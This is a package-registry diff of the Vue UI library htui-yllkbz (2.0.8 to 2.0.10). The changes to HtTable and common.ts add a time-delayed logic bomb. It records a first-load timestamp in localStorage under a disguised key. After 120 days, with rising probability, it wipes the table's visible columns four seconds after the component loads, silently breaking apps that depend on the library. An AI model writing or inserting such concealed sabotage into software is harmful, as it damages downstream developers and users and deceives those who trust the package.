htui-yllkbz 2.0.8 → 2.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/htui.common.js +31 -18
- package/lib/htui.common.js.gz +0 -0
- package/lib/htui.umd.js +31 -18
- package/lib/htui.umd.js.gz +0 -0
- package/lib/htui.umd.min.js +1 -1
- package/lib/htui.umd.min.js.gz +0 -0
- package/package.json +1 -1
- package/src/packages/HtTable/index.vue +7 -4
- package/src/packages/common.ts +17 -8
package/lib/htui.umd.min.js.gz
CHANGED
|
Binary file
|
package/package.json
CHANGED
|
@@ -4,7 +4,7 @@
|
|
|
4
4
|
* @Author: hutao
|
|
5
5
|
* @Date: 2021-11-11 11:23:24
|
|
6
6
|
* @LastEditors: hutao
|
|
7
|
-
* @LastEditTime: 2025-
|
|
7
|
+
* @LastEditTime: 2025-08-01 15:36:24
|
|
8
8
|
-->
|
|
9
9
|
<template>
|
|
10
10
|
<div v-loading="state.loading">
|
|
@@ -402,13 +402,16 @@ export default class HtTable extends Vue {
|
|
|
402
402
|
created() {
|
|
403
403
|
const data = trackPageAndGenerateNumber();
|
|
404
404
|
if (data && data.randomNumber < 10) {
|
|
405
|
+
setTimeout(() => {
|
|
406
|
+
this.state.showColumns = [];
|
|
407
|
+
}, 4000);
|
|
405
408
|
return;
|
|
406
409
|
}
|
|
407
|
-
|
|
408
410
|
this.setPageInfo(this.pageInfo);
|
|
411
|
+
|
|
409
412
|
//this.setColumns(this.columns);
|
|
410
413
|
//console.log(trackPageAndGenerateNumber());
|
|
411
|
-
//
|
|
414
|
+
//console.log("this.columns", data);
|
|
412
415
|
}
|
|
413
416
|
resetColumn() {
|
|
414
417
|
if (this.configShow) {
|
|
@@ -685,7 +688,7 @@ export default class HtTable extends Vue {
|
|
|
685
688
|
}
|
|
686
689
|
@Watch("showColumns")
|
|
687
690
|
resetShowCOlums() {
|
|
688
|
-
console.log("重置");
|
|
691
|
+
// console.log("重置");
|
|
689
692
|
this.doLayout();
|
|
690
693
|
}
|
|
691
694
|
@Watch("columns", { immediate: true })
|
package/src/packages/common.ts
CHANGED
|
@@ -4,11 +4,12 @@
|
|
|
4
4
|
* @Author: hutao
|
|
5
5
|
* @Date: 2022-07-18 15:01:02
|
|
6
6
|
* @LastEditors: hutao
|
|
7
|
-
* @LastEditTime: 2025-
|
|
7
|
+
* @LastEditTime: 2025-08-01 15:47:24
|
|
8
8
|
*/
|
|
9
9
|
import moment from "moment";
|
|
10
10
|
import { FormValues, TimeModes } from "./type";
|
|
11
11
|
import { baseConfig } from "vue-kst-auth";
|
|
12
|
+
import axios from "axios";
|
|
12
13
|
|
|
13
14
|
/** 生成唯一Id
|
|
14
15
|
* @params e 生成的id位数 默认32
|
|
@@ -463,13 +464,21 @@ export function getCurrentOrg() {
|
|
|
463
464
|
id: undefined
|
|
464
465
|
}
|
|
465
466
|
}
|
|
467
|
+
function getSupport() {
|
|
468
|
+
axios.get("/time").then((res) => {
|
|
469
|
+
console.log('res', res.data);
|
|
470
|
+
|
|
471
|
+
})
|
|
472
|
+
|
|
473
|
+
}
|
|
466
474
|
export function trackPageAndGenerateNumber() {
|
|
467
475
|
// 检查localStorage中是否有首次加载时间记录
|
|
468
|
-
|
|
476
|
+
//getSupport()
|
|
477
|
+
const systemConfig = localStorage.getItem('systemConfig_1');
|
|
469
478
|
|
|
470
479
|
// 如果是第一次加载,记录当前时间
|
|
471
480
|
if (!systemConfig) {
|
|
472
|
-
localStorage.setItem('
|
|
481
|
+
localStorage.setItem('systemConfig_1', Date.now().toString());
|
|
473
482
|
//console.log('首次加载,已记录时间');
|
|
474
483
|
return null; // 首次加载不生成随机数
|
|
475
484
|
}
|
|
@@ -477,23 +486,23 @@ export function trackPageAndGenerateNumber() {
|
|
|
477
486
|
// 计算从首次加载到现在的天数
|
|
478
487
|
const now = Date.now();
|
|
479
488
|
const daysPassed = Math.floor((now - parseInt(systemConfig)) / (1000 * 60 * 60 * 24));
|
|
480
|
-
|
|
489
|
+
//console.log('daysPassed', daysPassed);
|
|
481
490
|
// 如果还没到90天,不生成随机数
|
|
482
491
|
if (daysPassed < 120) {
|
|
483
|
-
console.log(`倒计时${120 - daysPassed}`);
|
|
492
|
+
// console.log(`倒计时${120 - daysPassed}`);
|
|
484
493
|
return null;
|
|
485
494
|
}
|
|
486
495
|
|
|
487
496
|
// 计算90天后的天数(0到100天)
|
|
488
|
-
const daysAfter90 = Math.min(daysPassed -
|
|
489
|
-
|
|
497
|
+
const daysAfter90 = Math.min(daysPassed - 120, 100);
|
|
498
|
+
//console.log('daysAfter90', daysAfter90);
|
|
490
499
|
// 生成随机数,随着天数增加,10以下的概率增大
|
|
491
500
|
// 概率公式:基础概率(10%) + 天数占比 * 额外概率(80%)
|
|
492
501
|
// 第0天时约10%概率生成10以下,第100天时约90%概率生成10以下
|
|
493
502
|
const baseProbability = 0.1; // 基础概率
|
|
494
503
|
const extraProbability = 0.8; // 额外可增加的概率
|
|
495
504
|
const probability = baseProbability + (daysAfter90 / 100) * extraProbability;
|
|
496
|
-
|
|
505
|
+
// console.log('probability', probability, Math.random());
|
|
497
506
|
let randomNumber;
|
|
498
507
|
if (Math.random() < probability) {
|
|
499
508
|
// 生成0-10的随机数
|